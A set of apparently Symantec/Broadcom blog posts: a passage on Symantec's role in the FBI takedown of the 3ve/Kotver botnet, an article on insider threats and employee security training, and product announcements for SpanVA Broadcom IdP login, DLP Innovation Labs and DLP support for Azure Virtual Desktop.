Back then, Kotver was being used in ransomware attacks, locking up desktops and demanding payments from users in return for access to their encrypted files. By 2015, it had morphed into a botnet, performing click-fraud operations from infected computers.
More than a dozen Symantec specialists were involved, including engineers who broke down the threat in real time, analysts in the Security Technology and Response (STAR) team, and even the government affairs team.
As part of the FBI working group on 3ve, Symantec’s role was twofold: First, it explained how the malware 3ve did its job and helped identify the infrastructure, or servers, on which it was operating. Second, when it came time for the FBI and to take down the botnet on “go day,” Symantec created software fixes to clean up the 1.7 million infected computers.
Over the course of about 18 months, the working group was in constant email, phone, and secure portal contact, sharing information about shifts in the botnet (which operators perform to avoid detection) and other data. Symantec specialists were involved, including engineers who broke down the threat in real time, along with analysts in the Security Technology and Response (STAR) team, and even the government affairs team.
On “go day,” on October 22, 2018, the FBI began to “sink hole” internet domains used in the scheme by seizing control of 31 internet domains, and 89 servers in the US, as well as seizing several international bank accounts in Switzerland and elsewhere. As the feds carried out their work, Symantec looked for transfers of Kotver onto new servers to alert the FBI of a potential spread. Symantec also began the job of cleaning up infected users. “We wanted to inflict the maximum amount of damage on the botnet on go day,” says Thakur.
In the end, the eight suspects, three of whom were arrested, accounted for several key roles in the crime syndicate, among them the top boss, or “business and vision guy,” as Shakur explains. This included the creators of the malware, the infrastructure provider, and the people who set up a network of fake companies to launder the money at legit banks.
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Insider Threats Remain as Dangerous as Ever
A combination of employee ignorance, negligence, and malicious behavior still poses a higher security risk than outside attackers
Don’t talk to strangers. It’s the biggest lesson taught to children, but it’s a lesson forgotten by many adults when they’re on company time.
As grown-ups, we take personal safety seriously. We don’t walk down dark alleys or open the front door of our home before knowing who’s on the other side. So, when it comes to company safety, why don’t we think to guard our company assets with the same mindfulness as we do in our personal lives?
Organizations continue to grapple with this question, albeit with varying degrees of success. A recent report from Haystax titled, “Insider Attacks: 2017 Insider Threat Study,” found that privileged users, including managers with access to sensitive information, are the biggest insider threats to their organization. Contractors and consultants finished a close second with regular employees bringing up third place.
The Haystax report is based on a survey conducted by the Information Security Community and Crowd Research Partners of participating members from over 300,000 organizations. It found clear evidence of a growing problem; some 56% of those polled thought insider attacks had become more frequent in the previous 12 months.
The findings make for grim reading, particularly in light of the sometimes-extensive investments made by company security officers to promote better cyber hygiene. One clear takeaway is that employees and contractors need to be better trained to take precautions and to pay closer attention to the basics.
These include knowing not to do any of the following:
Click on links in emails sent from strangers.
Click on links that look strange even though they’re from colleagues.
Plug an unknown thumb drive or device into a work computer.
Sit in public where a stranger can see company data on a computer or smart device.
Talk about company business where people outside the company can hear.
Talk in front of smart devices (Internet of Things) that are easily hacked to listen in.
Access the company network with an unsecured device.
In certain cases, the employee or contractor in question turns out to be a malicious insider intent on trying to steal or corrupt company data. The 2017 U.S. State of Cyber Crime report by CSG shows that around 50% of organizations experience at least one malicious insider incident per year.
Reduce Your Risk: Here’s How
Here’s what organizations that have registered success fighting insider threats are doing to minimize the risk.
Employee training that is engaging and easy to remember is critical. Technology develops by leaps each year and so must your employee security training. Keep an eye on the threat landscape and share the learning with your employees in language that is easy to understand. Though your employees work in the tech industry, not all of them have technical backgrounds they can call on to disseminate complicated, technical information.
Understand the risk of social media. The same rules apply when clicking links in social media channels as they do in email. An employee might share a link that carries misinformation or malware because a friend or colleague shared it. Create a list of company-sanctioned social media channels. Then create policies around how employees are allowed – and not allowed – to use them.
Perform risk assessments to determine your organization’s most vulnerable systems. It will help mitigate threats. It isn’t easy, and is often outside a company’s budget, to put strong security measures everywhere. Instead find the systems that need the strongest security. For example, does your company need strong two-factor authentication so stolen credentials can’t be used? Can employees download sensitive data and leave with it on any device? Or is sensitive information behind a wall where an employee must be on a secure system to check out, rather than download, the information.
Create a baseline of employee activity, so any unusual behavior can be flagged early. For example, when an employee is logging into a system he doesn’t usually log into for his work. Or tracking when an employee is accessing company systems during unusual hours of the day or weekend. Or seeing that an employee is accesses areas of the company with his badge that do not pertain to his job duties. Any of these can be early warning signals of a potential malicious insider threat.
Tell employees that if they see something, say something. It’s tough for colleagues to report on fellow colleagues, yet it should be the duty of every employee to safeguard the company against a threat, whether through suspected negligence or a malicious act. Create a process for reporting potential threats that employees feel safe to use – either through a secure channel or even a way to leave an anonymous tip.
The best employees can still make the worst mistakes. It doesn’t make them bad workers, especially if they weren’t trained to understand what stranger danger looks like inside and outside their office doors. Malicious insider threats can also be mitigated with system measures and company policies that actively monitor and report on unusual behavior.
Guarding against insider threats need not be the equivalent of Mission Impossible. But it does take leadership pushing a strong company-wide mission to meet the mounting challenges posed by threats that start from the inside.
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Introducing Authentication via Broadcom Identity Provider for SpanVA
Symantec CloudSOC SpanVA
SpanVA is a virtual appliance that collects firewall and proxy logs from network devices and proxies and sends them to CloudSOC CASB for use with the Audit application to evaluate shadow IT exposure.
CloudSOC CASB customers use on-prem SpanVAs to address some of the following use-cases:
Directory Sync from on-prem Active Directory to CloudSOC
Upload (tokenized) on-prem Firewall/Proxy Logs to CloudSOC for ShadowIT Analytics
Sync IP-User mapping files for username resolution
Previously authentication to the SpanVA console could only be done with a single Administrator account and password. This created management complications as companies looked to enable multiple Administrators to configure SpanVA. This was especially true in cases when several SpanVA instances were operational and customers needed to deploy multiple instances of SpanVA in different networks or locations.
What’s New and Changed
With the most recent SpanVA release, System Admins are now able to login via their Broadcom IdP to all SpanVA instances that they’re entitled to. This enhancement eliminates the need to share the same credentials with multiple SpanVA administrators and allows authentication into CloudSOC, SpanVA and other portals via a single identity.
Symantec Portals have switched to Broadcom’s Identity Provider, allowing Federated/Non-Federated users to access the portals via this channel. SpanVA leverages the same mechanics for authentication.This ensures that a single identity backed by Broadcom IdP can seamlessly SSO into the various portals.
Configuring External IDP for Federated Users is also an option that can be leveraged when SysAdmins prefer to bring their own IdP to log into Portals via a single identity.
How to deploy SpanVA from CloudSOC CASB
CloudSOC is Broadcom’s CASB (Cloud Access Security Broker) offering and is compliant with Broadcom IdP. The SpanVA instance is downloaded from CloudSOC and deployed into virtualization hypervisors or in your Virtual Private Cloud.
Configuring SpanVAs to leverage Broadcom IdP would require:
Selecting the desired SpanVA in CloudSOC and enabling Broadcom Login
Adding authorized users that can login to SpanVA
When enabled, SpanVA Admins can login to the SpanVA using their Broadcom IdP credentials.
The need for IdP based authentication has been a highly requested feature by SpanVA Administrators. Implementing this functionality by leveraging Broadcom IdP enables possibilities for exciting enhancements in the future.
For more information, see the SpanVA installation notes. To ensure you are currently running a fully supported version of Symantec CloudSOC SpanVA see end of service dates.
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Introducing DLP Innovation Labs
Without validation it’s not innovation
As the leader of the Symantec Data Loss Prevention’s Detection R&D team, I believe that innovation in DLP detection is key in meeting customers' ongoing needs in data loss prevention. To help meet the challenge our customers face and develop the next generation of DLP detection technologies, we have released a feature called “DLP Innovation Labs”.
Innovation within Symantec DLP is an endeavor, with a high degree of emphasis on thorough validation. We must validate the usability and efficacy of our innovations in the real world if we are truly going to solve a customer problem. To evaluate the efficacy of a prototype, we measure its “Recall Gain.” Recall Gain is the number of data loss incidents detected that existing technologies failed to detect. Similarly, we measure false positive rates for our prototypes to make sure it is not too noisy for the incident remediators. High false positive rates can significantly impede adoption of new DLP technologies, however sophisticated they may be. It is therefore important to address false positive issues in the nascent stages of the prototype.
DLP Innovation Labs allows Symantec to measure the above metrics for the prototypes deployed, while maintaining complete privacy of the real world customer data being processed. Only the customer can see the potentially sensitive data processed and captured in the “events” generated by the prototypes. They can then deem these events as either a false-positive or true-positive.
The customer feedback received via DLP Innovation Labs enables our research engineers to rapidly iterate and fine-tune their prototype implementation. It helps shorten the overall development time for DLP detection features from conception to productization. The best part, however, is that it ensures features we ship are already proven to solve real world customer problems. It is something I am very excited about. With DLP Innovation Labs, we have taken another leap forward in accelerating innovation.
If you are a Symantec DLP customer, you can learn more about DLP Innovation Labs, the various prototypes we are running, and how you can participate here.
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Introducing Symantec DLP Support for Azure Virtual Desktop
How to be more productive, and protect data when deploying Desktop-as-a-Service
At Broadcom Software, we realize that supporting remote work against the backdrop of supply chain disruption (resulting in low availability of computing hardware) is leading many organizations to develop their Virtual Desktop Infrastructure (VDI) strategy. The options available are varied. In addition to the well-established vendors that our customers use, such as Citrix and VMWare, the advent of cloud computing has created a market for Desktop as a Service (DaaS) vendors. DaaS offers cloud-native consumption and billing models, but the architectural underpinnings, supporting processes, requirements, and protocols are similar between VDI and DaaS.
VDI and DaaS can dramatically improve the time-to-be-productive for our customers with massive hiring needs (i.e., consulting firms, global companies hiring hundreds of interns, etc.). Other use cases include looking at VDI and DaaS to simplify application consumption and distribution.
Azure Virtual Desktop - supported in Symantec DLP
To support customers wishing to adopt DaaS, Symantec now offers even more extensive VDI coverage with the inclusion of Azure Virtual Desktop (AVD) support in Symantec DLP version 15.8 MP2. Customers can run DLP Endpoint agents on AVDs running Windows 10 and 11, Enterprise single-session, and Windows 10 Enterprise multi-session OS. Support for Azure Virtual Desktop extends the options that our customers can choose to adopt VDI, with the confidence that the data protection policy will be consistent across heterogeneous environments. Customers can install the Symantec DLP agent in the guest/virtual operating system hosts from the following supported VDI providers:
Citrix XenDesktop servers
Microsoft Hyper-V virtualization server
Microsoft Remote Desktop Services
VMware Horizon virtualization server
In addition to installing the Symantec DLP agent in the guest/virtual operating system host, customers can install the agent to protect Citrix XenApp, which provides DLP protection directly from the backend host streaming applications.
Figure 1: Sensitive data protected by Symantec DLP on Azure Virtual Desktop
Key Benefits
Key benefits of Symantec DLP for VDI/DaaS:
Seamlessly extends the power and scope of your data protection policies to VDI/DaaS
Provides comprehensive coverage for VDI/DaaS environments, including Hybrid, On-Premises, and Cloud scenarios
To learn more or contact us, please visit us here.
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